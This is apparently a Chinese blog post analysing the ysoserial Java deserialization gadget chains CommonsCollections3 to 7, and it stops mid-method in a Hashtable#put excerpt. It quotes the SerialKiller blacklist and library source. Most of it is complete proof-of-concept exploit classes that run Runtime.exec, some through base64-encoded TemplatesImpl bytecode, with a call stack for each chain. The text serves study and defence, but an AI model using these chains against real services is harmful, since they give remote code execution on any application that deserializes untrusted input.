CommonsCollections3(…→TrAXFilter→InstantiateTransformer)
2015 年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及 Java 反序列化利用工具 ysoserial,随后引爆了安全界。开发者们⾃然会去找寻一种安全的过滤方法,于是类似 SerialKiller 这样的工具随之诞生。
SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<blacklist>
<!-- ysoserial's CommonsCollections1 payload -->
<regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<!-- ysoserial's CommonsCollections2 payload -->
<regexp>^org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<!-- ysoserial's Groovy payload -->
<regexp>^org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp>
<regexp>^org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>
<!-- ysoserial's Spring1 payload -->
<regexp>^org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
这个黑名单中 InvokerTransformer
赫然在列,也就切断了 CommonsCollections1
的利⽤链。有攻就有防,ysoserial 随后增加了不少新的 Gadgets,其中就包括 CommonsCollections3。
CommonsCollections3 的目的很明显,就是为了绕过一些规则对 InvokerTransformer
的限制。CommonsCollections3 并没有使用到 InvokerTransformer
来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
。
这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer()
,免去了我们使用 InvokerTransformer
手工调用 newTransformer()
方法这一步:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); // <---
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们可以构造如下 ChainedTransformer
:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}),
};
poc 如下,这个是基于 CC1 的 LazyMap
链,其实这里可以自由组合其他的链,只要能调用到 transform
方法即可。
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
import java.lang.reflect.Field;
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAxTGNvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAUVGVzdFRyYW5zZm9ybWVyLmphdmEMAAoACwcAKAEAL2NvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAbY29tL2V4YW1wbGUvVGVzdFRyYW5zZm9ybWVyAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjU0MDQzOTYxNzA2NjcwMAEAIEx5c29zZXJpYWwvUHduZXI1NDA0Mzk2MTcwNjY3MDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAHAAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAIgAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAJwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(handler);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
调用栈如下:
defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
...
newInstance:408, Constructor (java.lang.reflect)
transform:106, InstantiateTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:349, AnnotationInvocationHandler (sun.reflect.annotation)
...
main:53, CommonsCollections3 (com.example)
CommonsCollections4(CC2+TrAXFilter)
在 CC2 的基础上借助 TrAXFilter
+TemplatesImpl
加载字节码绕过对 InvokerTransformer
的过滤,另外我把 TrAXFilter.class
存到 PriorityQueue
中可以避免 Transformer
数组。
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsCollections4 {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAxTGNvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAUVGVzdFRyYW5zZm9ybWVyLmphdmEMAAoACwcAKAEAL2NvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAbY29tL2V4YW1wbGUvVGVzdFRyYW5zZm9ybWVyAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjU0MDQzOTYxNzA2NjcwMAEAIEx5c29zZXJpYWwvUHduZXI1NDA0Mzk2MTcwNjY3MDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAHAAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAIgAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAJwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
setFieldValue(queue, "queue", new Object[]{TrAXFilter.class, TrAXFilter.class});
setFieldValue(queue, "size", 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
调用栈如下:
defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
...
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
...
main:40, CommonsCollections4 (com.example)
CommonsCollections5(BadAttributeValueExpException→TiedMapEntry)
javax.management.BadAttributeValueExpException
在反序列化 readObject
时如果满足 System.getSecurityManager() == null
条件时会对其中的 val
成员调用 toString
方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
而 TiedMapEntry
的 toString
方法最终会调用到 map.get
方法,正好可以与 LazyMap
的利用链结合。
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
POC 如下:
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, "sky");
outerMap.clear();
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", entry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(exception);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
调用栈如下:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:132, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
...
main:41, CommonsCollections5 (com.example)
CommonsCollections6(HashMap→TiedMapEntry→LazyMap)
org.apache.commons.collections.keyvalue.TiedMapEntry
的 hashCode
方法会调用到内部成员 map
的 get
方法,如果 map
被 LazyMap
修饰过就可以调用到 transform
方法。
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getKey() {
return key;
}
public Object getValue() {
return map.get(key);
}
...
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
...
}
java.util.HashMap#readObject
方法会对 key
调用 hash
方法,进而调用 key
的 hashCode
方法。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
poc 如下:
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, "sky");
Map triggerMap = new HashMap();
triggerMap.put(entry, "123");
outerMap.clear();
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(triggerMap);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
调用栈如下:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
...
main:34, CommonsCollections6 (com.example)
需要注意的是 HashMap
的 put
方法同样对 key
调用 hash
方法,进而调用 key
的 hashCode
方法。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
因此在 poc 中当我们 triggerMap.put(entry, "123")
时会调用 TiedMapEntry.hashCode
从而调用 LazyMap.get
,使得 TiedMapEntry.key
已经放到 TiedMapEntry.map
中了,因此会导致后续反序列化无法虽然调用到 LazyMap.get
,但是调用不到 transform
方法。解决方法是调用 LazyMap.clear
清空 LazyMap
。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
CommonsCollections7(Hashtable→LazyMap)
Hashtable
的 readObject
调用 reconstitutionPut
函数将反序列化出的键值对存储到哈希表 table
中。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
...
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
reconstitutionPut
函数先对传入的 key
调用 hashCode
方法得到哈希值,然后计算出哈希值对应哈希表的下标 index
。在哈希表 tab
中遍历 index
对应的那一项中的每一个元素 e
,然后判断该元素的哈希值与当前要添加的那一项的哈希值是否相等。如果哈希值相等则调用 e.key.equals
方法。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 如果哈希值相等则对哈希表中的 key 调用 equals 方法。
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
对于 HashMap
和 LazyMap
有如下继承关系:
可以看到,HashMap
继承于 AbstraceMap
,LazyMap
继承于 AbstractMapDecorator
。
因此如果 HashTable
中的 key
都是 LazyMap
修饰的 HashMap
那么 e.key.equals
最终会调用 LazyMap#get
进而触发 transform
方法调用。
// AbstraceMap
public boolean equals(Object o) {
if (o == this) // 确保不是同一个 LazyMap 对象
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key))) // 调用 LazyMap#get
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
// AbstractMapDecorator
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
根据前面的分析可知我们可以在 Hashtable
放两个键值对满足两个键哈希值相同但不是同一个的 LazyMap
对像。而 LazyMap
的哈希值实际上就是 Map
中所有「键和值的哈希的异或值」之和。
// Object
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0;
}
// HashMap$Node (Map.Entry)
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
// AbstraceMap
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
// AbstractMapDecorator
public int hashCode() {
return map.hashCode();
}
key.hashCode();
我们不妨让键值对中的值相等,那么就只需要考虑找哈希相等且值不同的键。
我们选择 java.lang.String
类型的键,这个类型的 hashCode
实现如下,我们很容易就想到可以构造长度为 2 的字符串,然后通过前一个字符的 ascii 码加 1 然后后一个字符的 ascii 码减 31 抵消前一个字符的影响来得到两个哈希相同的字符串(例如 Aa
→[65,97]
→[65+1,97-31]
→[66,66]
→BB
)。
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
完整 poc 如下:
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
outerMap1.put("Aa", null);
outerMap2.put("BB", null);
Hashtable hashtable = new Hashtable();
hashtable.put(outerMap1, 1);
hashtable.put(outerMap2, 1);
outerMap2.remove("Aa");
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
调用栈如下:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
equals:472, AbstractMap (java.util)
equals:130, AbstractMapDecorator (org.apache.commons.collections.map)
reconstitutionPut:1221, Hashtable (java.util)
readObject:1195, Hashtable (java.util)
...
main:49, CommonsCollections7 (com.example)
由于 Hashtable#put
也会调用 entry.key.equals
方法导致利用链被触发一次,因此需要将调用 LazyMap#get
时加入的 key
去掉。
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
